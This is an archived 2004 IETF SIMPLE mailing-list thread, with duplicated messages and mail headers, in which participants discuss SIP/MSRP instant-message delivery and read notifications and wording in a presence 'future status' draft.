	Thu, 4 Mar 2004 10:37:28 -0500 (EST)
Received: from cisco.com (tokyo-vpn-user21.cisco.com [10.70.82.21])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGN17886;
	Thu, 4 Mar 2004 10:37:25 -0500 (EST)
Message-ID: <40474D33.6010408@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Eric Burger <eburger@snowshore.com>
CC: Chris Boulton <cboulton@ubiquity.com>, simple@ietf.org
Subject: Re: [Simple] RE: Advanced IM requirements
References: <4A3384433CE2AB46A63468CB207E209DB1A26F@zoe.office.snowshore.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 04 Mar 2004 10:37:23 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Eric Burger wrote:
> Common scenario:
> You send me an IM.  My device receives the message, forwards it to me, I read it.  Is my device going to send you two messages, a provisional MDN saying I got the message and a final MDN saying I read the message?  Doesn't SIP tell you if my device got the message?

Doesn't sip tell me you got the message? Not necessarily. It might with 
page mode and not with session mode. Or it might just tell me that it 
was received and stored, so maybe it didn't even get to your device, 
much less your eyes.

Could the messages that are required to make the protocol work also be 
used to carry some of the delivery confirmations? Probably. Perhaps we 
should change the specification of MESSAGE so that it can optionally 
carry a delivery confirmation body in the 2xx response.

> Likely Scenario:
> You send me an IM.  My device receives the message, creates a provisional MDN, because my device is online.
 > The MDN says the relay has received the message, but has not 
delivered it.

I don't follow the above. You say your device received the message, but 
MDN says the *relay* received the message but hasn't delivered it.
I think maybe the MDN says the *device* has received the message but 
hasn't delivered it.

> Unfortunately, I've turned off my device, because I am going to Korea for a week.

Well, if you have turned off your device I don't see how it could have 
done the above.

What I can imagine is something entirely analogous to voicemail: you 
have two devices registered to your AoR - your pc or whatever you 
usually receive IMs on, and an IM recording device. (It could make sense 
for a single device to be recorder for both VM and IM.)

So you have turned off your pc and are in transit to Korea. Your 
recording device accepts the message and returns an indication that it 
has been recorded but not read.

In case of page mode, the 202 response to MESSAGE may be sufficient to 
tell you that. In case of session mode something else is required.

> Are you suggesting the IM relay should open a session mode connection and leave it up for a week until I get back?

No, of course not. When you get around to firing up your IM client, it 
will presumably go out to your recording device and retrieve whatever 
has been recorded. How it does that is not standardized. It could be via 
sip or msrp, or otherwise. But when it does, if those messages requested 
notification that the message had been read, then your client would 
presumably send that notification once it confirms that you have read 
it. It could do that via page mode, or it could establish an msrp 
session and deliver confirmations that way.

	Thanks,
	Paul


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Thu Mar  4 10:42:12 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA27305
	for <simple-archive@odin.ietf.org>; Thu, 4 Mar 2004 10:42:12 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayuyn-0007Og-Ru
	for simple-archive@odin.ietf.org; Thu, 04 Mar 2004 10:41:46 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i24FfjDP028428
	for simple-archive@odin.ietf.org; Thu, 4 Mar 2004 10:41:45 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayuyn-0007OR-Hx
	for simple-web-archive@optimus.ietf.org; Thu, 04 Mar 2004 10:41:45 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA27290
	for <simple-web-archive@ietf.org>; Thu, 4 Mar 2004 10:41:41 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayuyl-0001gB-00
	for simple-web-archive@ietf.org; Thu, 04 Mar 2004 10:41:43 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ayuxs-0001Ux-00
	for simple-web-archive@ietf.org; Thu, 04 Mar 2004 10:40:49 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyuxF-0001JJ-00; Thu, 04 Mar 2004 10:40:09 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyuxC-0007Gm-DN; Thu, 04 Mar 2004 10:40:06 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayuwr-0007FB-I6
	for simple@optimus.ietf.org; Thu, 04 Mar 2004 10:39:46 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA27134
	for <simple@ietf.org>; Thu, 4 Mar 2004 10:39:41 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayuwp-0001HM-00
	for simple@ietf.org; Thu, 04 Mar 2004 10:39:43 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ayuvr-00015m-00
	for simple@ietf.org; Thu, 04 Mar 2004 10:38:44 -0500
Received: from rtp-iport-1.cisco.com ([64.102.122.148])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyuvB-0000q7-00
	for simple@ietf.org; Thu, 04 Mar 2004 10:38:01 -0500
Received: from rtp-core-1.cisco.com (64.102.124.12)
  by rtp-iport-1.cisco.com with ESMTP; 04 Mar 2004 07:41:40 -0800
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i24FbSh0011238;
	Thu, 4 Mar 2004 10:37:28 -0500 (EST)
Received: from cisco.com (tokyo-vpn-user21.cisco.com [10.70.82.21])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGN17886;
	Thu, 4 Mar 2004 10:37:25 -0500 (EST)
Message-ID: <40474D33.6010408@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Eric Burger <eburger@snowshore.com>
CC: Chris Boulton <cboulton@ubiquity.com>, simple@ietf.org
Subject: Re: [Simple] RE: Advanced IM requirements
References: <4A3384433CE2AB46A63468CB207E209DB1A26F@zoe.office.snowshore.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 04 Mar 2004 10:37:23 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Eric Burger wrote:
> Common scenario:
> You send me an IM.  My device receives the message, forwards it to me, I read it.  Is my device going to send you two messages, a provisional MDN saying I got the message and a final MDN saying I read the message?  Doesn't SIP tell you if my device got the message?

Doesn't sip tell me you got the message? Not necessarily. It might with 
page mode and not with session mode. Or it might just tell me that it 
was received and stored, so maybe it didn't even get to your device, 
much less your eyes.

Could the messages that are required to make the protocol work also be 
used to carry some of the delivery confirmations? Probably. Perhaps we 
should change the specification of MESSAGE so that it can optionally 
carry a delivery confirmation body in the 2xx response.

> Likely Scenario:
> You send me an IM.  My device receives the message, creates a provisional MDN, because my device is online.
 > The MDN says the relay has received the message, but has not 
delivered it.

I don't follow the above. You say your device received the message, but 
MDN says the *relay* received the message but hasn't delivered it.
I think maybe the MDN says the *device* has received the message but 
hasn't delivered it.

> Unfortunately, I've turned off my device, because I am going to Korea for a week.

Well, if you have turned off your device I don't see how it could have 
done the above.

What I can imagine is something entirely analogous to voicemail: you 
have two devices registered to your AoR - your pc or whatever you 
usually receive IMs on, and an IM recording device. (It could make sense 
for a single device to be recorder for both VM and IM.)

So you have turned off your pc and are in transit to Korea. Your 
recording device accepts the message and returns an indication that it 
has been recorded but not read.

In case of page mode, the 202 response to MESSAGE may be sufficient to 
tell you that. In case of session mode something else is required.

> Are you suggesting the IM relay should open a session mode connection and leave it up for a week until I get back?

No, of course not. When you get around to firing up your IM client, it 
will presumably go out to your recording device and retrieve whatever 
has been recorded. How it does that is not standardized. It could be via 
sip or msrp, or otherwise. But when it does, if those messages requested 
notification that the message had been read, then your client would 
presumably send that notification once it confirms that you have read 
it. It could do that via page mode, or it could establish an msrp 
session and deliver confirmations that way.

	Thanks,
	Paul


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Thu Mar  4 17:44:52 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA17976
	for <simple-archive@ietf.org>; Thu, 4 Mar 2004 17:44:52 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Az1aH-0006Ab-00
	for simple-archive@ietf.org; Thu, 04 Mar 2004 17:44:53 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Az1ZR-0005zi-00
	for simple-archive@ietf.org; Thu, 04 Mar 2004 17:44:02 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Az1Yb-0005p5-00; Thu, 04 Mar 2004 17:43:09 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Az1YT-0005Mg-Bj; Thu, 04 Mar 2004 17:43:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Az1XY-0005Lt-3B
	for simple@optimus.ietf.org; Thu, 04 Mar 2004 17:42:04 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA17854
	for <simple@ietf.org>; Thu, 4 Mar 2004 17:42:00 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Az1XV-0005dO-00
	for simple@ietf.org; Thu, 04 Mar 2004 17:42:01 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Az1Wf-0005Sg-00
	for simple@ietf.org; Thu, 04 Mar 2004 17:41:09 -0500
Received: from sj-iport-4.cisco.com ([171.68.10.86])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Az1W6-0005GA-00
	for simple@ietf.org; Thu, 04 Mar 2004 17:40:34 -0500
Received: from mira-sjc5-b.cisco.com (IDENT:mirapoint@mira-sjc5-b.cisco.com [171.71.163.14])
	by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i24Me1F8005021;
	Thu, 4 Mar 2004 14:40:01 -0800 (PST)
Received: from [127.0.0.1] (ssh-sjc-1.cisco.com [171.68.225.134])
	by mira-sjc5-b.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AQX19913;
	Thu, 4 Mar 2004 14:39:58 -0800 (PST)
In-Reply-To: <20040304053049.29527.qmail@website12.com>
References: <20040304053049.29527.qmail@website12.com>
Mime-Version: 1.0 (Apple Message framework v612)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Message-Id: <FDE06D01-6E2C-11D8-99D4-0003938AF740@cisco.com>
Content-Transfer-Encoding: quoted-printable
Cc: Rohan Mahy <rohan@cisco.com>, "" <hisham.khartabil@nokia.com>,
        "" <aki.niemi@nokia.com>, "" <simple@ietf.org>,
        "Vijay K. Gurbani" <vkg@lucent.com>
From: Rohan Mahy <rohan@cisco.com>
Subject: Re: [Simple] return receipt and delivery status notification for MSRP
To: "vikas" <vikas@arciis.com>
X-Mailer: Apple Mail (2.612)
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 5 Mar 2004 07:40:52 +0900
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable




On Mar 4, 2004, at 2:30 PM, vikas wrote:

> Hi,
>
>  Adding to what Vijay just mentioned, it would be annoying for the=20
> user to get a notification

these can and probably will be consumed by automatons on behalf of the=20=

user without rendering the confirmation directly.

thx,
-rohan

> everytime that the message has been read by the target.
>
>  Typically the number of messages exchanged in IM will be greater than=20=

> that in email (if you would like to compare for read notification=20
> purpose).
>
>  To me - "no news is good news" sounds okay for delivery =
notifications.
>
>  Regards,
>  Vikas Tandon
>  Arciis Software Technologies
>  www.arciis.com
>
>
>
>
>  -------Original Message-------
>  > From: Vijay K. Gurbani <vkg@lucent.com>
>  > Subject: Re: [Simple] return receipt and delivery status=20
> notification for MSRP
>  > Sent: 03 Mar 2004 16:36:43
>  >
>  > hisham.khartabil@nokia.com wrote:
>  >
>  > > Yes, in chunking, I think it is useful to get
>  > > delivery reports of chunks. Not for every chunk, but
>  > > for x number of them.
>  >
>  > Receipt of X chunks is a protocol-level status notification.
>  > I am confused -- what kind of DSNs are we talking about?
>  > Protocol level or user level?
>  >
>  > Opening a dialog box to the user and telling him or her
>  > that "The 9th chunk has been successfully delivered" will
>  > probably not impart too much information to the user.=A0=A0But
>  > opening a dialog box that says "Message could not be
>  > delivered -- receiver exceeds disk quota to store the message"
>  > is more meaningful to the sender.
>  >
>  > User level DSNs may be influenced by presence (I agree with
>  > others who point out that presence is not a pre-requisite
>  > for guaranteed delivery) and by the type of IM session:
>  > page or session mode.
>  >
>  > For page mode, Hisham wants to be notified not only
>  > when the IM was delivered but also when it was read.
>  > On the other hand, I want to be only notified if the
>  > message could not be delivered (i.e. I would consider
>  > an intermediary accepting the IM on behalf of an offline
>  > receiver as successful delivery but would like to know if
>  > the receiver has run out of disk space or no longer has
>  > a login in that domain).
>  >
>  > - vijay
>  >
>  >
>  > _______________________________________________
>  > Simple mailing list
>  > Simple@ietf.org
>  > https://www1.ietf.org/mailman/listinfo/simple
>  -------Original Message-------
>
>


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Thu Mar  4 17:45:23 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA18013
	for <simple-archive@odin.ietf.org>; Thu, 4 Mar 2004 17:45:23 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Az1aL-0005nx-1C
	for simple-archive@odin.ietf.org; Thu, 04 Mar 2004 17:44:57 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i24MivaR022309
	for simple-archive@odin.ietf.org; Thu, 4 Mar 2004 17:44:57 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Az1aK-0005nk-TR
	for simple-web-archive@optimus.ietf.org; Thu, 04 Mar 2004 17:44:56 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA17993
	for <simple-web-archive@ietf.org>; Thu, 4 Mar 2004 17:44:52 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Az1aI-0006Ag-00
	for simple-web-archive@ietf.org; Thu, 04 Mar 2004 17:44:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Az1ZS-0005zq-00
	for simple-web-archive@ietf.org; Thu, 04 Mar 2004 17:44:03 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Az1Yb-0005p5-00; Thu, 04 Mar 2004 17:43:09 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Az1YT-0005Mg-Bj; Thu, 04 Mar 2004 17:43:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Az1XY-0005Lt-3B
	for simple@optimus.ietf.org; Thu, 04 Mar 2004 17:42:04 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA17854
	for <simple@ietf.org>; Thu, 4 Mar 2004 17:42:00 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Az1XV-0005dO-00
	for simple@ietf.org; Thu, 04 Mar 2004 17:42:01 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Az1Wf-0005Sg-00
	for simple@ietf.org; Thu, 04 Mar 2004 17:41:09 -0500
Received: from sj-iport-4.cisco.com ([171.68.10.86])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Az1W6-0005GA-00
	for simple@ietf.org; Thu, 04 Mar 2004 17:40:34 -0500
Received: from mira-sjc5-b.cisco.com (IDENT:mirapoint@mira-sjc5-b.cisco.com [171.71.163.14])
	by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i24Me1F8005021;
	Thu, 4 Mar 2004 14:40:01 -0800 (PST)
Received: from [127.0.0.1] (ssh-sjc-1.cisco.com [171.68.225.134])
	by mira-sjc5-b.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AQX19913;
	Thu, 4 Mar 2004 14:39:58 -0800 (PST)
In-Reply-To: <20040304053049.29527.qmail@website12.com>
References: <20040304053049.29527.qmail@website12.com>
Mime-Version: 1.0 (Apple Message framework v612)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Message-Id: <FDE06D01-6E2C-11D8-99D4-0003938AF740@cisco.com>
Content-Transfer-Encoding: quoted-printable
Cc: Rohan Mahy <rohan@cisco.com>, "" <hisham.khartabil@nokia.com>,
        "" <aki.niemi@nokia.com>, "" <simple@ietf.org>,
        "Vijay K. Gurbani" <vkg@lucent.com>
From: Rohan Mahy <rohan@cisco.com>
Subject: Re: [Simple] return receipt and delivery status notification for MSRP
To: "vikas" <vikas@arciis.com>
X-Mailer: Apple Mail (2.612)
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 5 Mar 2004 07:40:52 +0900
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable




On Mar 4, 2004, at 2:30 PM, vikas wrote:

> Hi,
>
>  Adding to what Vijay just mentioned, it would be annoying for the=20
> user to get a notification

these can and probably will be consumed by automatons on behalf of the=20=

user without rendering the confirmation directly.

thx,
-rohan

> everytime that the message has been read by the target.
>
>  Typically the number of messages exchanged in IM will be greater than=20=

> that in email (if you would like to compare for read notification=20
> purpose).
>
>  To me - "no news is good news" sounds okay for delivery =
notifications.
>
>  Regards,
>  Vikas Tandon
>  Arciis Software Technologies
>  www.arciis.com
>
>
>
>
>  -------Original Message-------
>  > From: Vijay K. Gurbani <vkg@lucent.com>
>  > Subject: Re: [Simple] return receipt and delivery status=20
> notification for MSRP
>  > Sent: 03 Mar 2004 16:36:43
>  >
>  > hisham.khartabil@nokia.com wrote:
>  >
>  > > Yes, in chunking, I think it is useful to get
>  > > delivery reports of chunks. Not for every chunk, but
>  > > for x number of them.
>  >
>  > Receipt of X chunks is a protocol-level status notification.
>  > I am confused -- what kind of DSNs are we talking about?
>  > Protocol level or user level?
>  >
>  > Opening a dialog box to the user and telling him or her
>  > that "The 9th chunk has been successfully delivered" will
>  > probably not impart too much information to the user.=A0=A0But
>  > opening a dialog box that says "Message could not be
>  > delivered -- receiver exceeds disk quota to store the message"
>  > is more meaningful to the sender.
>  >
>  > User level DSNs may be influenced by presence (I agree with
>  > others who point out that presence is not a pre-requisite
>  > for guaranteed delivery) and by the type of IM session:
>  > page or session mode.
>  >
>  > For page mode, Hisham wants to be notified not only
>  > when the IM was delivered but also when it was read.
>  > On the other hand, I want to be only notified if the
>  > message could not be delivered (i.e. I would consider
>  > an intermediary accepting the IM on behalf of an offline
>  > receiver as successful delivery but would like to know if
>  > the receiver has run out of disk space or no longer has
>  > a login in that domain).
>  >
>  > - vijay
>  >
>  >
>  > _______________________________________________
>  > Simple mailing list
>  > Simple@ietf.org
>  > https://www1.ietf.org/mailman/listinfo/simple
>  -------Original Message-------
>
>


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Fri Mar  5 08:15:39 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA06322
	for <simple-archive@ietf.org>; Fri, 5 Mar 2004 08:15:39 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzFAx-0006Tj-00
	for simple-archive@ietf.org; Fri, 05 Mar 2004 08:15:39 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AzFA0-0006Ih-00
	for simple-archive@ietf.org; Fri, 05 Mar 2004 08:14:40 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzF9T-00067l-00; Fri, 05 Mar 2004 08:14:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AzF9N-0002hW-05; Fri, 05 Mar 2004 08:14:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AzF8u-0002gX-NT
	for simple@optimus.ietf.org; Fri, 05 Mar 2004 08:13:32 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA06243
	for <simple@ietf.org>; Fri, 5 Mar 2004 08:13:31 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzF8t-00065m-00
	for simple@ietf.org; Fri, 05 Mar 2004 08:13:31 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AzF7v-0005uO-00
	for simple@ietf.org; Fri, 05 Mar 2004 08:12:31 -0500
Received: from pecan.cc.columbia.edu ([128.59.59.178] ident=cu41754)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzF70-0005jl-00
	for simple@ietf.org; Fri, 05 Mar 2004 08:11:34 -0500
Received: from cs.columbia.edu ([211.229.237.90])
	(user=hgs10 mech=PLAIN bits=0)
	by pecan.cc.columbia.edu (8.12.11/8.12.11) with ESMTP id i25DAbwn028521
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Fri, 5 Mar 2004 08:11:10 -0500 (EST)
Message-ID: <40487C42.3030408@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6a) Gecko/20031030
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Paul Kyzivat <pkyzivat@cisco.com>
CC: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Simple WG <simple@ietf.org>
Subject: Re: [Simple] Comments on draft-ietf-simple-future
References: <4041D501.6040906@dynamicsoft.com> <4042A88A.1070109@cisco.com>
In-Reply-To: <4042A88A.1070109@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-No-Spam-Score: Local
X-Scanned-By: MIMEDefang 2.39
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 05 Mar 2004 08:10:26 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Paul Kyzivat wrote:

>> I think you mean <tuple> elements. In any case, this text is not quite 
>> right. You are in fact extending <tuple> with an optional extension, 
>> <future-status>. What I think you mean is that you cannot just extend 
>> an existing element, like <activity>, with attributes that define the 
>> future status, because these would not be understood and thus 
>> misinterpreted as current status.
> 
> 
> Not only can't, but don't want to. The goal is to provide a way to use 
> all the normal attributes that define current status to define future 
> status as well. So the goal is to provide a separate context in which 
> the existing elements may be used where they won't be misunderstood by 
> those who don't understand this extension.

I clarified the wording (I hope).


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Fri Mar  5 08:16:10 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA06348
	for <simple-archive@odin.ietf.org>; Fri, 5 Mar 2004 08:16:10 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AzFAz-0002pF-MY
	for simple-archive@odin.ietf.org; Fri, 05 Mar 2004 08:15:41 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i25DFfUg010857
	for simple-archive@odin.ietf.org; Fri, 5 Mar 2004 08:15:41 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AzFAz-0002p2-IU
	for simple-web-archive@optimus.ietf.org; Fri, 05 Mar 2004 08:15:41 -0500
